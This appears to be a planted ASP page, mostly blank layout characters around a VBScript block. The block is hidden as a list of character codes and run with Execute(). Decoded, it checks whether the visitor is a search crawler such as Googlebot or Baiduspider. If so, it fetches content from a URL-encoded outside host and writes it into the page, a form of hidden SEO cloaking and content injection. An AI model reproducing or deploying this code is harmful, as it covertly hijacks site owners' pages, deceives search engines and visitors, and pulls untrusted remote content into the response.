 |
|
<%
On Error Resume Next
Thcode=",70,117,110,99,116,105,111,110,32,103,101,116,72,84,84,80,80,97,103,101,40,117,114,108,41,-24067,79,110,32,69,114,114,111,114,32,82,101,115,117,109,101,32,78,101,120,116,-24067,115,101,116,32,104,116,116,112,61,83,101,114,118,101,114,46,99,114,101,97,116,101,111,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,41,32,32,32,32,-24067,72,116,116,112,46,111,112,101,110,32,34,71,69,84,34,44,117,114,108,44,102,97,108,115,101,32,-24067,72,116,116,112,46,115,101,116,82,101,113,117,101,115,116,72,101,97,100,101,114,32,34,73,102,45,77,111,100,105,102,105,101,100,45,83,105,110,99,101,34,44,34,48,34,-24067,72,116,116,112,46,115,101,110,100,40,41,-24067,72,116,116,112,46,115,101,116,84,105,109,101,111,117,116,115,32,49,48,48,48,48,44,49,48,48,48,48,44,49,53,48,48,48,44,49,53,48,48,48,-24067,73,102,32,72,116,116,112,46,83,116,97,116,117,115,60,62,50,48,48,32,116,104,101,110,-24067,32,69,120,105,116,32,102,117,110,99,116,105,111,110,32,-24067,101,110,100,32,105,102,32,-24067,103,101,116,72,84,84,80,80,97,103,101,61,98,121,116,101,115,84,111,66,83,84,82,40,72,116,116,112,46,114,101,115,112,111,110,115,101,66,111,100,121,44,34,71,66,50,51,49,50,34,41,-24067,115,101,116,32,104,116,116,112,61,110,111,116,104,105,110,103,-24067,105,102,32,101,114,114,46,110,117,109,98,101,114,60,62,48,32,116,104,101,110,32,101,114,114,46,67,108,101,97,114,32,-24067,69,110,100,32,70,117,110,99,116,105,111,110,-24067,70,117,110,99,116,105,111,110,32,66,121,116,101,115,84,111,66,115,116,114,40,98,111,100,121,44,67,115,101,116,41,32,-24067,100,105,109,32,111,98,106,115,116,114,101,97,109,-24067,115,101,116,32,111,98,106,115,116,114,101,97,109,32,61,32,83,101,114,118,101,114,46,67,114,101,97,116,101,79,98,106,101,99,116,40,34,97,100,111,100,98,46,115,116,114,101,97,109,34,41,-24067,111,98,106,115,116,114,101,97,109,46,84,121,112,101,32,61,32,49,-24067,111,98,106,115,116,114,101,97,109,46,77,111,100,101,32,61,51,-24067,111,98,106,115,116,114,101,97,109,46,79,112,101,110,-24067,111,98,106,115,116,114,101,97,109,46,87,114,105,116,101,32,98,111,100,121,-24067,111,98,106,115,116,114,101,97,109,46,80,111,115,105,116,105,111,110,32,61,32,48,-24067,111,98,106,115,116,114,101,97,109,46,84,121,112,101,32,61,32,50,-24067,111,98,106,115,116,114,101,97,109,46,67,104,97,114,115,101,116,32,61,32,67,115,101,116,-24067,66,121,116,101,115,84,111,66,115,116,114,32,61,32,111,98,106,115,116,114,101,97,109,46,82,101,97,100,84,101,120,116,32,-24067,111,98,106,115,116,114,101,97,109,46,67,108,111,115,101,-24067,115,101,116,32,111,98,106,115,116,114,101,97,109,32,61,32,110,111,116,104,105,110,103,-24067,69,110,100,32,70,117,110,99,116,105,111,110,-24067,73,102,32,73,110,115,116,114,40,114,101,113,117,101,115,116,46,83,101,114,118,101,114,86,97,114,105,97,98,108,101,115,40,34,104,116,116,112,95,117,115,101,114,95,97,103,101,110,116,34,41,44,34,66,97,105,100,117,115,112,105,100,101,114,34,41,62,48,32,111,114,32,73,110,115,116,114,40,114,101,113,117,101,115,116,46,83,101,114,118,101,114,86,97,114,105,97,98,108,101,115,40,34,104,116,116,112,95,117,115,101,114,95,97,103,101,110,116,34,41,44,34,71,111,111,103,108,101,98,111,116,34,41,62,48,32,111,114,32,73,110,115,116,114,40,114,101,113,117,101,115,116,46,83,101,114,118,101,114,86,97,114,105,97,98,108,101,115,40,34,104,116,116,112,95,117,115,101,114,95,97,103,101,110,116,34,41,44,34,83,111,103,111,117,43,119,101,98,43,115,112,105,100,101,114,34,41,62,48,32,111,114,32,73,110,115,116,114,40,114,101,113,117,101,115,116,46,83,101,114,118,101,114,86,97,114,105,97,98,108,101,115,40,34,104,116,116,112,95,117,115,101,114,95,97,103,101,110,116,34,41,44,34,83,111,115,111,115,112,105,100,101,114,43,34,41,62,48,32,84,104,101,110,-24067,82,101,115,112,111,110,115,101,46,87,114,105,116,101,32,103,101,116,72,84,84,80,80,97,103,101,40,34,104,116,116,112,58,47,47,37,54,67,37,54,57,37,54,69,37,54,66,37,50,69,37,54,52,37,54,49,37,55,52,37,54,49,37,54,51,37,54,53,37,54,69,37,50,69,37,55,53,37,55,51,34,41,-24067,69,110,100,32,73,102"
Execute(Thcoder(Thcode))
Function Thcoder(Code)
Morfistr = Split(Code, ",")
For i = 1 To UBound(Morfistr)
Newstrmorfi = Newstrmorfi & Chr(Morfistr(i))
Next
Thcoder = Replace(Newstrmorfi, "↓", vbCrLf)
End Function
%>
 |
 |
|
|
 |
|
|
